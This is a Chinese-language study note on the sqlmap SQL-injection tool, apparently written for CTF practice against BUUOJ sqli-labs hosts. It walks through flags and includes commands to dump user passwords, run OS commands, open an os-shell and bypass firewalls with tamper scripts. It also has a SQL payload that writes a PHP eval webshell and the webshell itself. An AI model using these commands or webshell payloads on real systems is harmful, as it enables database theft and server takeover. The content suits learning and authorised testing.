sqlmap的使用
作用
可以自动探测和利用SQL注入漏洞来查询数据和getshell,可以脱裤(--dump-all),可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令
工作流程
1)判断URL是否可连接------检查防火墙------判断注入点------判断是什么数据库
2)尝试各种类型的注入
各种参数
1、-u
用于一个url扫描
sqlmap -u "url带参数"
2、-m
用于多个url扫描,但是文件每一行只能有一个url
sqlmap -m 1. txt
3、-r
用于post注入,在要测试注入的参数后面加*
sqlmap -r 1.txt

直接写,工具会自动识别

4、-v
用于显示信息,默认为1,一般用3和4,都要背
0、只显示python错误以及严重的信息。
1、 同时显示基本信息和警告信息。(默认等级)
2、 同时显示debug信息。
3、 同时显示注入的payload。
4、 同时显示HTTP请求。
5、 同时显示HTTP响应头。
6、 同时显示HTTP响应页面。
5、--level
用于测请求头,但不想抓包,如果抓包可以直接加*的
sqlmap -r 1.txt --level=3
level>=2的时候就会测试HTTP Cookie
level>=3的时候就会测试HTTP User-Agent/Referer头
level=5的时候会测试HTTP Host
6、--data
用于把data后面的数据以POST方式提交,当参数是POST提交的时候,但没有抓取数据包
sqlmap -u "url" --data="id=1"
7、--cookie
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
基本格式:
sqlmap -u "url" --data="id=1" --cookie="Cookie: xxx;"
8、--user-agent
用于手动指定伪造一个User-Agent
sqlmap -u "url" --level 3 --user-agent="xxx"
9、--random-agent
用于随机生成UA,不过运行一次命令只能生成同一个UA
sqlmap -u "url" --level 3 --random-agent
10、--referer
用于手动指定伪造一个referer
sqlmap -u "url/?id=1" --referer="http://www.baidu.com"
11、-p
用于测试指定参数,和*,--level一样
sqlmap -u "url/?id=1" -p "id,user-angent"
12、--risk
共有三个风险等级,1-3:
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试。
注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。
sqlmap -u "url/?id=1" --risk=2
13、数据
-D 数据库名
-T 表名
-C 字段名
python sqlmap.py -u url -D ctftraining -T flag -C flag --dump
14、查询当前用户和密码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-1/?id=1 --users --passwords

15、--os-cmd
用于执行系统命令,在退出命令行之后,系统会自动删掉写入的脚本,但是每运行一次都要去重新执行一次--os-cmd,所以getshell我们选择用--os-shell
python sqlmap.py -u http://b7cab4c1-88b5-4119-8cf5-eb5fd92b549a.node5.buuoj.cn/Less-1/?id=1 --os-cmd=ipconfig
执行结果:


该命令的原理就是写入木马,然后getshell
py
id=1' union select '<?php eval($_POST[1]);?>' into outfile '网站路径/文件名'
路径就是类似于下面这种,自己去猜

写入之后,再用蚁剑连接,密码是1,然后也可以在命令行执行命令
16、--os-shell
反弹交互shell
py
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1 --os-shell


当页面出现os-shell时,就是已经连接成功了
17、--tamper
用于绕过防火墙
py
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1 --tamper 加需要的脚本名字

一句话木马
php
<?php eval($_POST["a"]);?>
eval是用于将字符串当成php代码执行
可在url上输入命令,来运行
php
?a=echo `ipconfig`;